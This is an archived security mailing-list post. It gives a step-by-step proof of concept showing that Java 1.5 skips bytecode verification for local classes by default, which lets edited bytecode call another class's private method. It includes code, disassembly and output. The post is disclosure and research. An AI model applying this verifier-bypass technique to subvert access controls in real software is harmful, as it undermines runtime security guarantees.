Java -noverify PoC

[Dinis Cruz <dinis () ddplus net>]

Ok, I just did some further tests and I think I can say that Java 
(version 1.5.0_06) has similar verification issues to the ones I 
discovered on the .Net Framework (see links in my previous post).

Here is a full description of my test (which is a variation of the one 
done by Stephen de Vries in the original discussion about type safety).

-------------

Objective: Call a private method directly that belongs to a different 
class (something that should not be possible to do)

Test environment: Mac OS X10.4.6

java -version

  java version "1.5.0_06"
  Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_06-112)
  Java HotSpot(TM) Client VM (build 1.5.0_06-64, mixed mode, sharing)


Step by Step description of test:


Start by creation the File: publicPrivate.java

******************
class publicPrivate {
  public static void main(String[] args)
  {
      System.out.println("Hello World!"); //Display the string.
      externalClass.publicMethod();
      externalClass.publicMethod();
  }

}

class externalClass
{
  public static void publicMethod()
  {
  System.out.println("Inside the Public Method");
  }

  private static void privateMethod()
  {
  System.out.println("Inside the Private Method");
  }
}
******************

Compile this using javac publicPrivate.java and you get two class files: 
publicPrivate.class and externalClass.class

execute java publicPrivate and you will get

  Hello World!
  Inside the Public Method
  Inside the Public Method

Note that if I change on the publicPrivate.java file the lines

      externalClass.publicMethod();
      externalClass.publicMethod();

to

      externalClass.publicMethod();
      externalClass.privateMethod();

I will get the following compilation error:

  publicPrivate.java:7: privateMethod() has private access in 
externalClass
          externalClass.privateMethod();
                   ^
  1 error


This makes sense since this is the compiler detecting that we are trying 
to access a private member directly (note: this is also what happens in 
.Net's C# compiler). It also means that (like in my .Net examples) I 
will have to manipulate directly the bytecode of the class that I want 
to change

Using jEdit Oolong plug-in I disassembled  the  publicPrivate.class 
file, creating the file: publicPrivate.j

(this is a slightly edited version of the Oolong disassemble result 
since the original version didn't compile)
******************
.class public publicPrivate
  .super java/lang/Object
    .method public <init>()V
  .limit stack 1
  .limit locals 1
      aload_0
      invokespecial java/lang/Object/<init>()V
      return
  .end method
    .method public static main([Ljava/lang/String;)V
  .limit stack 2          getstatic java/lang/System/out 
Ljava/io/PrintStream;
      ldc "Hello World! - After Oolong disassemble"
      invokevirtual java/io/PrintStream/println(Ljava/lang/String;)V
            invokestatic externalClass/publicMethod()V
      invokestatic externalClass/publicMethod()V
        return
    .end method
**************
note the change:
  from:          ldc "Hello World!"
  to:              ldc "Hello World! - After Oolong disassemble"


I also had some problems with getting the jEdit Oolong plug-in to 
assemble the publicPrivate.j file, so I used jasmin instead:

java -jar jasmin-2.2/jasmin.jar  PublicPrivate.j

  Generated: publicPrivate.class

Executing java publicPrivate shows:

  Hello World!- After Oolong disassemble
  Inside the Public Method
  Inside the Public Method

Now, in jEdit, on the publicPrivate.j  file, I make the following change

from:
            invokestatic externalClass/publicMethod()V          
invokestatic externalClass/publicMethod()V
 to:
            invokestatic externalClass/publicMethod()V          
invokestatic externalClass/privateMethod()V

Then save it and run jasmin again

java -jar jasmin-2.2/jasmin.jar  PublicPrivate.j

  Generated: publicPrivate.class

execute java publicPrivate and:

  Hello World!- After Oolong disassemble
  Inside the Public Method
  Inside the Private Method

Bingo! We successfully invoked the private method.

Now, just to confirm that this is against verification (and that the 
verifier is disabled by default)

java -noverify publicPrivate  (produces the same result)

  Hello World!- After Oolong disassemble
  Inside the Public Method
  Inside the Private Method

java -verify publicPrivate (throws an verification error)

  Hello World!- After Oolong disassemble
  Inside the Public Method
  Exception in thread "main" java.lang.IllegalAccessError: tried to 
access method externalClass.privateMethod()V from class publicPrivate
          at publicPrivate.main(PublicPrivate.j)



This should prove that the verifier is not enabled by default on java 
files loaded from the local computer.

What is interesting about this example is that we are not even doing a 
Type Confusion attack and trying to break type safety.

Ironically this same example doesn't work in the .Net CLR since the JIT 
detects this it (which is why in my 'Rooting the CLR' presentation I 
patch the JIT directly :)

Question for the Java gurus on this list (remember that I am not very 
good with Java so I might have got some of this wrong), can you 
re-confirm this test, and also see what happens on other java execution 
environments (for example on Apache)

Thanks

Best regards

Dinis Cruz
Owasp .Net Project
www.owasp.net







-------------------------------------------------------------------------
Sponsored by: Watchfire

The Twelve Most Common Application-level Hack Attacks
Hackers continue to add billions to the cost of doing business online 
despite security executives' efforts to prevent malicious attacks. This 
whitepaper identifies the most common methods of attacks that we have seen, 
and outlines a guideline for developing secure web applications. 
Download this whitepaper today!

https://www.watchfire.com/securearea/whitepapers.aspx?id=701300000007t9r
--------------------------------------------------------------------------